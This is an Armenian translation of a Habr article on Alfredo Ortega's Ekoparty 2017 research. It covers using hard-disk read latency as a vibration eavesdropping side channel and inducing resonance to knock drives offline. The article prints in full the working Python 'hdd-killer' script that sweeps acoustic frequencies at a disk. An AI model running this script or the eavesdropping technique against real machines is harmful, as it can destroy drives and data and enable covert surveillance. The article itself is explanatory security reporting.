Ինչու չպետք է բղավել ձեր HDD-ի վրա

Ինչու չպետք է բղավել ձեր HDD-ի վրա

Բուենոս Այրեսում Ekoparty 2017 համակարգչային անվտանգության համաժողովում արգենտինացի հաքեր Ալֆրեդո Օրտեգան ցուցադրել է շատ հետաքրքիր զարգացում` տարածքների գաղտնի գաղտնալսման համակարգ՝ առանց խոսափողի: Ձայն գրանցված ուղղակիորեն կոշտ սկավառակի վրա!

HDD-ը հիմնականում ընդունում է բարձր ինտենսիվության ցածր հաճախականության ձայներ, ոտնաձայներ և այլ թրթռումներ: Մարդկային խոսքը դեռ չի կարող ճանաչվել, թեև գիտնականները այս ուղղությամբ հետազոտություններ են իրականացնում (խոսքի ճանաչում ցածր հաճախականության թրթռումներով, որոնք ձայնագրվում են, օրինակ, գիրոսկոպից կամ HDD-ից):

Ձայնը օդի կամ այլ միջավայրի թրթռումն է: Մարդը դրանք ընկալում է թմբկաթաղանթի միջոցով, որը թրթռումները փոխանցում է ներքին ականջին։ Խոսափողը նախագծված է մոտավորապես ականջի նման. այստեղ նույնպես թրթռումները գրանցվում են բարակ թաղանթով, որը գրգռում է էլեկտրական իմպուլսը։ Կոշտ սկավառակը, իհարկե, ենթարկվում է նաև միկրոսկոպիկ թրթռումների՝ շրջակա օդի տատանումների պատճառով։ Սա հայտնի է նույնիսկ HDD-ների տեխնիկական բնութագրերից. արտադրողները սովորաբար նշում են թրթռման առավելագույն թույլատրելի մակարդակը, իսկ կոշտ սկավառակն ինքը հաճախ փորձում է տեղադրել այն ռետինից կամ այլ մեկուսիչ նյութից պատրաստված թրթռումակայուն տարայի մեջ: Այստեղից կարելի է եզրակացնել, որ ձայները կարելի է ձայնագրել HDD-ի միջոցով: Մնում է միայն պարզել, թե ինչպես:

Ալֆրեդո Օրտեգան առաջարկեց կողմնակի ալիքի հարձակման եզակի տարբերակ, այն է՝ ժամանակային հարձակումը: Այս հարձակումը հիմնված է այն ենթադրության վրա, որ սարքի վրա տարբեր գործողություններ են կատարվում տարբեր ժամանակներում՝ կախված տրված մուտքային տվյալներից: Այս դեպքում «մուտքային տվյալները» ընթերցման գլխի և HDD սկուտեղի թրթռանքներն են, որոնք փոխկապակցված են շրջակա միջավայրի, այսինքն՝ ձայնի թրթռումների հետ։ Այսպիսով, հաշվարկման ժամանակը չափելով և տվյալների վիճակագրական վերլուծություն կատարելով, հնարավոր է չափել գլխի/սկուտեղի թրթռումները, հետևաբար՝ միջավայրի թրթռումները: Որքան երկար է տվյալների ընթերցման ուշացումը, այնքան ավելի ուժեղ են HDD-ի թրթռումները և, հետևաբար, ավելի բարձր ձայնը:

Ինչպե՞ս չափել կոշտ սկավառակի թրթռումը: Շատ պարզ. պարզապես գործարկել համակարգային զանգը read () — և գրանցեք ավարտելու համար պահանջվող ժամանակը: Ժամանակակից օպերացիոն համակարգերը թույլ են տալիս նանվայրկյան ճշգրտությամբ կարդալ համակարգային զանգերի ժամանակացույցը:

Սեկտորից տեղեկատվության ընթերցման արագությունը կախված է գլխի և սկուտեղի դիրքից, որը փոխկապակցված է HDD-ի պատյանի թրթռումների հետ: Այսքանը:

Վիճակագրական վերլուծությունն իրականացվում է պարզ Kscope օգտակար գործիքի միջոցով: Ինչպես ասում են՝ ամեն ինչ հնարամիտ պարզ է։

Ինչու չպետք է բղավել ձեր HDD-ի վրա
Kscope կոմունալ (stat() syscall)

Kscope-ը փոքր ծրագիր է համակարգային զանգերի կատարման ժամանակի փոքր տարբերությունները պատկերացնելու համար: Աղբյուրհրապարակված GitHub-ում.

Առանձին պահոցում HDD-ժամանակ կա կոմունալ տարբերակ, որը կազմաձևված է կոշտ սկավառակի վրա ժամանակային հարձակման համար, այսինքն՝ կազմաձևված է համակարգային զանգը վերլուծելու համար read ().

Ձայնի ձայնագրման ցուցադրում HDD-ի միջոցով, Kscope կոմունալ ծրագրի գործարկում


Իհարկե, խոսքն այս կերպ չի կարելի հասկանալ, բայց HDD-ն բավականին հարմար է որպես թրթռման սենսոր: Օրինակ, կարող եք գրանցվել, եթե կոշտ կոշիկներով կամ ոտաբոբիկ անձը համակարգչով մտել է սենյակ (հավանաբար, եթե հարձակվողը փափուկ սպորտային կոշիկներ է կրում կամ հատակին հաստ գորգ կա, HDD-ն չի կարողանա գրանցել թրթռումները. սա արժե ստուգել): Համակարգիչը ի վիճակի է գրանցել կոտրված ապակի կամ այլ միջադեպեր ուժեղ ձայնի ինտենսիվությամբ: Այսինքն՝ կոշտ սկավառակը կարող է ծառայել որպես մի տեսակ չարտոնված ներխուժման հայտնաբերման համակարգ։

HDD մարդասպան

Ի դեպ, նմանատիպ տեխնիկա կարող է օգտագործվել կոշտ սկավառակների անջատման համար: Միայն այստեղ մենք չենք հեռացնում տատանումները HDD-ից, այլ ընդհակառակը, մենք առաջացնում ենք տատանումներ, որոնք սնվում են HDD-ին: Եթե ​​բարձրախոսից ձայն եք նվագարկում HDD-ի հաճախականության հետ ռեզոնանսվող հաճախականությամբ, համակարգը շուտով անջատում է սարքը I/O սխալով (Linux-ի միջուկն ամբողջությամբ անջատում է HDD-ը 120 վայրկյան հետո): Կոշտ սկավառակն ինքնին կարող է անդառնալի վնաս կրել:

Ինչու չպետք է բղավել ձեր HDD-ի վրա
Linux միջուկն անջատեց կոշտ սկավառակը Edifier r120u USB բարձրախոսի բարձրախոսի միջոցով ռեզոնանսային հաճախականությամբ ձայն հաղորդելուց 19 վայրկյանից հետո: Բարձրախոսը միացված է հզորության մոտ մեկ քառորդով (100 մՎտ-ից պակաս) և գտնվում է HDD-ից 20 սմ հեռավորության վրա, որն ուղղված է սեղանին՝ թրթռումները ուժեղացնելու համար: Շրջանակ -ից տեսանյութ HDD մարդասպանի ցուցադրությամբ

Հետաքրքիր է, որ HDD-ների վրա նման «հարձակումները» երբեմն պատահական են լինում առօրյա կյանքում: Օրինակ, 2016 թվականի սեպտեմբերին ING Bank տվյալների կենտրոնը ստիպված եղավ դադարեցնել գործունեությունը 10 ժամով հրդեհային վարժանքից հետո: Տասնյակ կոշտ սկավառակներ ձախողվել են բարձր ճնշման տակ բալոններից արտանետվող իներտ գազի բարձր ձայնի պատճառով։ Ձայնը շատ բարձր էր (ավելի քան 130 դԲ), բայց դուք նույնիսկ չեք կարող բղավել կոշտ սկավառակների վրա. սա մեծացնում է HDD-ի մուտքի ուշացումը:

Տվյալների կենտրոնի կոշտ սկավառակների վրա մարդու ճչոցի ցուցադրություն: Հետաձգման չափում


Ռեզոնանսային ձայն ստեղծելու համար Ալֆրեդո Օրտեգան գրել է Python-ի սցենար, որը կոչվում է HDD-մարդասպան (վիդեո ցուցադրություն).

HDD մարդասպան սցենար Այն բավականին փոքր է, այնպես որ կարող եք ամբողջությամբ հրապարակել այստեղ:

"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""

import pyaudio
import time
import sys
import math
import random

RATE=48000
FREQ=50

# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
    print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
	  "The disk will be opened as read-only.n" + 
          "Warning: It might cause damage to HDD.n" +
          "Usage: %s /dev/sdX" % sys.argv[0]
    sys.exit(-1)

# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ

# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
    global x1,FREQ,NEWFREQ
    data=''
    sample=0
    for x in xrange(frame_count):
        oldsample=sample
        sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
        data = data+sample
        # continous frequency change
        if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
                FREQ=NEWFREQ
                x1=0
        x1+=1
    return (data, pyaudio.paContinue)

# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
                channels=1,
                rate=RATE,
                output=True,
                stream_callback=callback)

# start the stream (4)
stream.start_stream()

# wait for stream to finish (5)
while stream.is_active():
    timeprom=0
    c=file(sys.argv[1])
    for i in xrange(20):
        a=time.clock()
        c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
        c.read(51200)
        b=time.clock()
        timeprom+=b-a
    c.close()
    timeprom/=20
    print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
    NEWFREQ+=0.5

# stop stream (6)
stream.stop_stream()
stream.close()

# close PyAudio (7)
p.terminate()

Source: www.habr.com

Добавить комментарий